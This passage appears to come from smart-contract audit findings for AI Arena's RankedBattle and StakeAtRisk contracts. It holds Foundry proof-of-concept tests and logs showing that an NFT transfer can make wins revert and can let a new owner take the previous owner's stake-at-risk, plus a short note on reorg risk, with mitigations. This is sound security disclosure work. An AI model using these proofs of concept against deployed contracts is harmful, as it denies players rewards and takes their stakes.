        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 1, 1500, true); // tie 1 game
        emit log_string("new player can tie in game");        
        vm.prank(address(_GAME_SERVER_ADDRESS));
        vm.expectRevert(); // <= would revert here!!
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); // win 1 game
        emit log_string("new player can not win in game");        
    }

The result log for the first case:

[PASS] testRevertAfterTransferAtRisk() (gas: 992146)
Logs:
  NRN in _rankedBattleContract: 4000
  oldPlayer staked NRN in _rankedBattleContract: 3996
  NRN in _rankedBattleContract: 3996
  after unstaking, token0's lock status: unlocked
  new player can lose in game
  new player can tie in game
  new player can not win in game

The PoC for the second case (in RankedBattle.t.sol):

    function testNewOwnerTakeStakeAtRiskFromPrevious() public {
        address oldPlayer = vm.addr(3);
        address newPlayer = vm.addr(4);

        _mintFromMergingPool(oldPlayer);
        _mintFromMergingPool(newPlayer);

        vm.prank(_treasuryAddress);
        _neuronContract.transfer(oldPlayer, 4000000 * 10 ** 18);

        _fundUserWith4kNeuronByTreasury(newPlayer);

        vm.prank(oldPlayer);
        _rankedBattleContract.stakeNRN(4000000 * 10 ** 18, 0);
        vm.prank(newPlayer);
        _rankedBattleContract.stakeNRN(4000 * 10 ** 18, 1);

        emit log_named_uint("NRN in _rankedBattleContract" , _neuronContract.balanceOf(address(_rankedBattleContract)) / 1 ether);


        // assertEq(_rankedBattleContract.amountStaked(0), 3_000 * 10 ** 18);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); // lose 1 game for oldowner

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 2, 1500, true); // lose 1 game for newOwner

        emit log_named_uint("oldPlayer staked NRN in _rankedBattleContract" , _rankedBattleContract.amountStaked(0) / 1 ether);
        emit log_named_uint("NRN in _rankedBattleContract" , _neuronContract.balanceOf(address(_rankedBattleContract)) / 1 ether);

        vm.startPrank(oldPlayer);
        _rankedBattleContract.unstakeNRN(_rankedBattleContract.amountStaked(0),0);
        emit log_named_string("after unstaking, token0's lock status", _fighterFarmContract.fighterStaked(0)?"locked":"unlocked");

        _fighterFarmContract.transferFrom(oldPlayer,newPlayer,0);
        vm.stopPrank();

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); // lose 1 game
        emit log_string("new player can lose in game");
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 1, 1500, true); // tie 1 game
        emit log_string("new player can tie in game");        
        vm.prank(address(_GAME_SERVER_ADDRESS));
        // vm.expectRevert();
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); // win 1 game
        emit log_string("new player can win in game");
        emit log_named_uint("after win, stake amount of new player in nft 0 is added to", _rankedBattleContract.amountStaked(0) / 1 ether);
    }

The result log is shown below:

[PASS] testNewOwnerTakeStakeAtRiskFromPrevious() (gas: 1618024)
Logs:
  NRN in _rankedBattleContract: 4004000
  oldPlayer staked NRN in _rankedBattleContract: 3996000
  NRN in _rankedBattleContract: 3999996
  after unstaking, token0's lock status: unlocked
  new player can lose in game
  new player can tie in game
  new player can win in game
  after win, stake amount of new player in nft 0 is added to: 4

This impact will last for the whole round, approximately 2 weeks.

Tools Used

Foundry

Recommended Mitigation Steps

1. In StateAtRisk, add a cap-check before token transfer in reclaimNRN, so that the transaction will not revert.

if (amountLost[fighterOwner] < nrnToReclaim) {
    // return or make nrnToReclaim = amountLost[fighterOwner];
}

2. For the second case, since curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;, when bpsLostPerLoss = 10, it requires approximately 10^6 initial token staking by user A for user B to get 1 NRN token from user A's stake-at-risk. So it won't be a big deal. A possible way to mitigate this is to record the fighterOwner of an NFT in its first battle of the round so that when fighterOwner has changed, there will be no rewards for the new owners.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L16

Vulnerability details

Impact

The project is designed to work on the ARB mainnet. However, for these L2 network, a reorg attack is possible and the duration could last several minutes. Thus the project may suffer from a re-org attack, causing DOS or wrong rewards in fights.

Proof of Concept

The project is designed to work on the ARB mainnet. However, for these L2 network, a reorg attack is possible and the duration could last several minutes. Thus the project may suffer from a re-org attack, causing DOS or wrong rewards in fights.

Consider the following scenario:

1. A user wins the game, and his record is updated.
2. The re-org attack occurs, a user could stake right before the game updates, thus he can get quite a lot of points.

Tools Used

Manual

Recommended Mitigation Steps

Increase confirmation times on DAPPs.

Assessed type

Other